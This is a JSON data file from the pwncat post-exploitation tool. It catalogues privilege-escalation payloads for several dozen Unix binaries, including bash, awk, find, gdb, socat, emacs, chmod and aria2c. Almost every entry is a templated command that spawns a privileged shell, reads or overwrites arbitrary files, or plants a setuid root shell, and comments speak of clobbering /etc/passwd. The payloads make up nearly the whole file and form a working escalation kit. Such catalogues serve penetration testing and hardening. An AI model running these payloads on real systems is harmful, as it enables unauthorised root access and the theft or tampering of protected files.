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pwncat/data/gtfobins.json
2020-05-17 19:35:49 -04:00

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{
// Each item is a list of capabilities for this binary
"dd": [
{
// This is a read capability
"type": "read",
// No other commands need to be executed besides the command
// "command" exands to the binary path and any arguments provided
// If the data needs to be dealt with earlier, you can use "{data}"
// here.
"payload": "{command} 2>/dev/null",
// This is used to pass arguments to the application (auto-merged
// into "{command}".
// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
"args": ["if={lfile}"],
// Prepends arguments, if any to the "args" for setuid context.
"suid": [],
// Input which needs to be passed to the application. All insertions
// work here (such as {lfile}, {command}), but also {data} if you are
// streaming the data to the remote application.
"input": "",
// If needed, specify some data that must be sent to exit the remote
// application after the read is finished.
// "exit": "{ctrl_c}",
// This specifies how to handle the data. There can be a few
// different values here:
// - raw -> the data is unchanged and the controlling terminal
// is set to raw mode for effective reading. This mode
// requires a known data length and the command will fail
// without it.
// - print -> the data is unchanged, but the controlling
// terminal is not changed to raw mode. Only printable
// data is safe from TTY translation.
// - base64 -> all data is converted from base64. Data sent
// to the remote process should be in base64 form, and the
// tty is not set to raw mode.
// - hex -> same as base64, but base16 instead.
"stream": "raw"
},
{
"type": "write",
"stream": "raw",
"payload": "{command} 2>/dev/null",
"args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
},
{
"type": "write",
"stream": "print",
"payload": "{command} 2>/dev/null",
"args": ["of={lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"cp": [
{
"type": "write",
"stream": "print",
// This is weird because under the case where we are running w/ sudo,
// we need to ask for the password first. The first "{command}" will
// ask for the sudo password, then fail to copy. The second "{command}"
// will not ask for the sudo password, and then the copy will succeed.
// Without sudo, the first command will simply fail, and the second
// will succeed. This is the same for the other `cp` payload below.
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
"args": ["$TF", "{lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
"args": ["$TF", "{lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
// Another example
"bash": [
{
"type": "shell",
"stream": "print",
"suid": ["-p"],
"exit": "exit"
},
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-c", "'{cat} {lfile}'"],
"suid": ["-p"]
},
{
"type": "write",
"stream": "base64",
"payload": "{command}",
"args": ["-c", "'{base64} -d > {lfile}'"],
"suid": ["-p"],
"exit": "{ctrl_d}{ctrl_d}"
}
],
//-------------------------------------------------------------------
"dash": [
{
"type": "shell",
"stream": "print",
"suid": ["-p"],
"exit": "exit"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} -c '{cat} {lfile}'",
"suid": ["-p"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "{command} -c '{base64} -d > {lfile}'",
"suid": ["-p"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"cat": [
{
"type": "read",
"stream": "raw",
"payload": "{command} {lfile}"
}
],
//-------------------------------------------------------------------
"apt": [
{
"type": "shell",
"args": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"apt-get": [
{
"type": "shell",
"args": ["changelog", "apt"],
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"aria2c": [
{
"type": "shell",
"payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; {rm} -f $TF; $SH -p",
"input": "rm -f $TF; rm -f $SH; unset TF; unset SH;\n",
"args": ["--on-download-error=$TF", "http://x"],
"exit": "exit"
}
],
//-------------------------------------------------------------------
"ash": [
{
"type": "shell",
"stream": "print",
"suid": ["-p"],
"exit": "exit"
},
{
"type": "read",
"stream": "print",
"payload": "{command} -c '{cat} {lfile}'",
"suid": ["-p"],
"exit": "{ctrl_c}"
},
{
"type": "write",
"stream": "base64",
"payload": "{command} -c '{base64} -d > {lfile}'",
"suid": ["-p"],
"exit": "{ctrl_c}"
}
],
//-------------------------------------------------------------------
"awk": [
{
"type": "shell",
"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
"exit": "exit"
},
{
"type": "read",
"stream": "print",
"payload": "{command} // {lfile}"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
},
{
"type": "write",
"stream": "print",
"args": [
"-v", "LFILE={lfile}",
"'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }} }}'"
],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"base32": [
{
"type": "read",
"stream": "raw",
"payload": "{command} {lfile} | {base32} -d",
"args": []
}
],
//-------------------------------------------------------------------
"base64": [
{
"type": "read",
"stream": "raw",
"payload": "{command} {lfile} | {base64} -d",
"args": []
}
],
//-------------------------------------------------------------------
"bpftrace": [
{
"type": "shell",
"args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"],
"suid": ["-p"],
"exit": "exit"
}
],
//-------------------------------------------------------------------
"busctl": [
{
"type": "shell",
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"byebug": [
{
"type": "shell",
"payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}; rm -f $TF",
"args": ["--no-stop", "-q", "$TF"],
"exit": "exit\n"
},
{
"type": "read",
"payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}; rm -f $TF",
"args": ["--no-stop", "-q", "$TF"],
"exit": "exit\n"
}
],
//-------------------------------------------------------------------
"socat": [
{
"type": "shell",
"payload": "{command}",
"args": ["STDIN", "EXEC:{shell}"],
"exit": "exit\n"
},
{
"type": "read",
"payload": "{command}",
"args": ["-u", "FILE:{lfile}", "STDOUT"]
},
{
"type": "write",
"stream": "print",
"payload": "{command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "{base64} -d | {command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"chmod": [
{
"type": "shell",
"payload": "{command}",
"args": ["+s", "{shell}; {shell} -p"],
"exit": "exit\n"
},
{
"type": "read",
"payload": "{command} 2>/dev/null",
// This is used to pass arguments to the application (auto-merged
// into "{command}".
// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
"args": ["+s", "{dd};", "{dd}", "if={lfile}"],
// Prepends arguments, if any to the "args" for setuid context.
"stream": "raw"
},
{
"type": "write",
"stream": "raw",
"payload": "{command} 2>/dev/null",
"args": ["+s", "{dd};", "{dd}", "of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
},
{
"type": "write",
"stream": "print",
"payload": "{command} 2>/dev/null",
"args": ["+s", "{dd};", "{dd}", "of={lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"chroot": [
{
"type": "shell",
"payload": "{command}",
"args": ["/", "{shell}", "-p"],
"exit": "exit\n"
}
],
//-------------------------------------------------------------------
"cobc": [
{
"type": "shell",
"payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF",
"args": ["-xFj", "--frelax-syntax-checks", "$TF"],
"exit": "exit\n"
}
// Could we do some file_read and file_write with this too..? We can run cobol...
],
//-------------------------------------------------------------------
"cpan": [
{
"type": "shell",
"payload": "{command}",
"input" : "! system(\"{shell} -p\")\n",
// exit the shell, AND exit cpan
"exit": "exit\nexit\n"
}
// Could we do some file_read and file_write with this too? We can run perl...
],
//-------------------------------------------------------------------
"cpulimit": [
{
"type": "shell",
"payload": "{command}",
"args": ["-l", "100", "-f", "\"{shell}\""],
// exit the shell, AND exit cpan
"exit": "exit\n"
}
// We cannot seem to pass other arguments to process ran, so no read/write (???)
],
//-------------------------------------------------------------------
"crash": [
{
"type": "shell",
"payload": "{command}",
"args": ["-h"],
"input": "!{shell} -p\n",
// exit the shell, AND exit cpan
"exit": "exit\nq\n"
}
// We cannot seem to pass other arguments to process ran, so no read/write (???)
],
//-------------------------------------------------------------------
"csh": [
{
"type": "shell",
"payload": "{command}",
"suid": ["-b"],
"input": "{shell} -p\n",
// exit the shell, AND exit csh
"exit": "exit\nexit\n"
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
// "suid" is not supplied because it must be very last argument
"args": ["-c", "\"{cat} {lfile}\"", "-b"]
}
// Using write, it doesn't get the entire text to clobber /etc/passwd
// {
// "type": "write",
// "stream": "base64",
// "payload": "{command}",
// "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
// // "suid" is not supplied because it must be very last argument
// "exit": "{ctrl_d}"
// }
],
"bsd-csh": [
{
"type": "shell",
"payload": "{command}",
"input": "{shell} -p\n",
"suid": ["-b"],
// exit the shell, AND exit csh
"exit": "exit\nexit\n"
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
// "suid" is not supplied because it must be very last argument
"args": ["-c", "\"{cat} {lfile}\"", "-b"]
}
// Using write, it doesn't get the entire text to clobber /etc/passwd
// {
// "type": "write",
// "stream": "base64",
// "payload": "{command}",
// "args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
// // "suid" is not supplied because it must be very last argument
// "exit": "{ctrl_d}"
// }
],
//-------------------------------------------------------------------
"curl": [
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-s", "file://{lfile} --output -"]
},
{
"type": "read",
"stream": "base64",
"payload": "{command} | {base64} -w 0",
"args": ["-s", "file://{lfile} --output -"]
},
{
"type": "write",
"stream": "print",
// This is weird because under the case where we are running w/ sudo,
// we need to ask for the password first. The first "{command}" will
// ask for the sudo password, then fail. The second "{command}"
// will not ask for the sudo password, and then the copy will succeed.
// Without sudo, the first command will simply fail, and the second
// will succeed. This is the same for the other payload below.
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
"args": ["-s", "file://$TF --output {lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
"args": ["-s", "file://$TF", "--output", "{lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"cut": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-d", "''", "-f1", "{lfile}"]
}
],
//-------------------------------------------------------------------
"date": [
{
// This is a janky reader that relies on cut to fully carve out the output.
"type": "read",
"stream": "print",
"payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done",
"args": ["-f", "{lfile}", "+\"%M%M%M%M%M%M\"", "2>&1"]
}
],
//-------------------------------------------------------------------
"diff": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["--line-format=%L", "/dev/null", "{lfile}"]
}
],
//-------------------------------------------------------------------
"dmesg": [
{
"type": "shell",
"payload": "{command}",
"args": ["-H"],
"input": "!{shell} -p\n",
"exit": "exit\nq\n"
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-rF", "{lfile}"]
}
],
//-------------------------------------------------------------------
"dpkg": [
{
"type": "shell",
"payload": "{command}",
"args": ["-l"],
"input": "!{shell} -p\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"easy_install": [
{
"type": "shell",
"payload": "TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('/bin/sh', 'sh', '-c', '{shell} <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py; {command} $TF",
"args": [],
"exit": "exit\n"
},
{
"type": "read",
"stream": "raw",
"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4",
"args": []
}
// This seems to write small files... but not large (over ~4 KB). So we won't use it... ???
// ,{
// "type": "write",
// "stream": "base64",
// "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64; open('{lfile}','wb').write(base64.b64decode(open('$TF/b64', 'rb').read()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null",
// "args": [],
// "exit": "{ctrl_d}{ctrl_d}"
// }
],
//-------------------------------------------------------------------
"eb": [
{
"type": "shell",
"payload": "{command}",
"args": ["logs"],
"input": "!{shell} -p\n",
"exit": "exit\nq\n"
}
],
//-------------------------------------------------------------------
"ed": [
{
"type": "shell",
"payload": "{command}",
"input": "!{shell} -p\n",
"exit": "exit\nq\n"
},
{
"type": "read",
"stream": "raw",
"payload": "echo ',p' | {command}",
"args": ["-s", "{lfile}"],
"input" : ",p\n",
"exit" : "q\n"
},
{
"type": "write",
"stream": "print",
"payload": "echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}",
"args": ["-s", "{lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"emacs": [
{
"type": "shell",
"payload": "{command}; {shell} -p",
"args": ["-Q", "-nw", "--eval '(chmod \"{shell}\" #o4755)'" , "--eval \"(kill-emacs)\""],
"exit": "exit\n"
},
{
"type": "read",
"stream": "raw",
"payload": "TF=$({mktemp}); {command}; {cat} $TF ",
"args": ["-Q", "-nw", "{lfile}", "--eval \"(write-file \\\"$TF\\\")\"", "--eval '(kill-emacs)'"]
},
{
"type": "write",
"stream": "print",
"payload": "{cat} > /tmp/.em; {command}",
"args": ["-Q", "-nw", "/tmp/.em", "--eval \"(write-file \\\"{lfile}\\\")\"", "--eval '(kill-emacs)'"],
"exit": "{ctrl_d}{ctrl_d}"
}
],
//-------------------------------------------------------------------
"env": [
{
"type": "shell",
"payload": "{command} {shell} -p",
"args": [],
"exit": "exit\n"
}
],
//-------------------------------------------------------------------
"eqn": [
{
"type": "read",
"stream": "print",
"payload": "TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2",
"args": ["$TF"]
}
],
//-------------------------------------------------------------------
"expand": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["{lfile}"]
}
],
//-------------------------------------------------------------------
"expect": [
{
"type": "shell",
"payload": "{command}",
"args": ["-c", "\"spawn {shell} -p; interact\""],
"exit": "exit\n"
},
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-c", "\"spawn {cat} {lfile}; interact\""]
}
// Theoretically we should be able to get File Write for this.
// Sine it has it own little subprocess, I can't seem to get stdin to funnel in.
],
//-------------------------------------------------------------------
"facter": [
{
"type": "shell",
"payload": "TF=$({mktemp} -d); echo 'exec(\"{shell} -p\")' > $TF/x.rb; FACTERLIB=$TF {command}",
"args": [""]
}
// This does not behave with sudo very often.
// Because it sets an environment variable, -E must be used
// when calling sudo (which pwncat currently does not have support for)
// and the user needs to be able to preserve the environment...
],
//-------------------------------------------------------------------
"find": [
{
"type": "shell",
"payload": "{command}",
"args": [".", "-exec", "{shell} -p", "\\;", "-quit"]
},
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": [".", "-exec", "{cat} {lfile}", "\\;", "-quit"]
}
],
//-------------------------------------------------------------------
"flock": [
{
"type": "shell",
"payload": "{command}",
"args": ["-u", "/", "{shell} -p"]
},
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-u", "/", "{cat} {lfile}"]
},
{
"type": "write",
"stream": "base64",
"payload": "{command}",
"args": ["-u", "/", "{sh} -c \"{base64} -d > {lfile}\""],
"exit": "{ctrl_d}{ctrl_d}"
}
],
//-------------------------------------------------------------------
"fmt": [
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-pNON_EXISTING_PREFIX", "{lfile}"]
}
],
//-------------------------------------------------------------------
"fold": [
{
"type": "read",
"stream": "raw",
"payload": "{command}",
"args": ["-w99999999", "{lfile}"]
}
],
//-------------------------------------------------------------------
"ftp": [
{
"type": "shell",
"payload": "{command}",
"input": "!{shell} -p\n",
// Exit the shell, then exit the FTP client
"exit": "exit\nexit\n"
}
],
//-------------------------------------------------------------------
"gawk": [
{
"type": "shell",
"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
"exit": "exit"
},
{
"type": "read",
"stream": "print",
"payload": "{command} // {lfile}"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
},
{
"type": "write",
"stream": "print",
"args": [
"-v", "LFILE={lfile}",
"'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }} }}'"
],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"gcc": [
{
"type": "shell",
"payload": "{command}",
"args": ["-wrapper", "{shell},-p,-s", "."]
}
],
//-------------------------------------------------------------------
"gdb": [
{
"type": "shell",
"payload": "{command}",
"args": ["-q", "-nx", "-ex", "'!{shell} -p'", "-ex", "quit"]
},
{
"type": "shell",
"payload": "{command}",
"args": ["-q", "-nx", "-ex", "'python import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'", "-ex", "quit"]
},
{
"type": "read",
"stream":"print",
"payload": "{command}",
"args": ["-q", "-nx", "-ex", "'set height 0'", "-ex", "'python print(open(\"{lfile}\").read())'", "-ex", "quit"]
},
{
"type": "write",
"stream":"print",
"payload": "{command}",
"args": ["-q", "-nx", "-ex", "'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'", "-ex", "quit"],
"exit": "{ctrl_d}{ctrl_d}"
}
// We SHOULD be able to read base64 data... but for the life of me, I cannot get the whole file to come through. Leaving this alone.
// {
// "type": "write",
// "stream":"base64",
// "payload": "{command}",
// "args": ["-q", "-nx", "-ex", "'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")'", "-ex", "quit"],
// "exit" : "{ctrl_d}"
// }
// ,
],
//-------------------------------------------------------------------
"gem": [
{
"type": "shell",
"payload": "{command}",
"args": ["open", "-e", "'{shell} -c {shell} -p'", "rdoc"]
},
{
"type": "read",
"stream" : "raw",
"payload": "{command}",
"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
}
],
//-------------------------------------------------------------------
"xargs": [
{
"type": "shell",
"payload": "{command}",
"args": ["-a", "/dev/null", "{shell}", "-p"],
"exit": "exit\n"
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-a", "{lfile}", "-0"]
}
]
}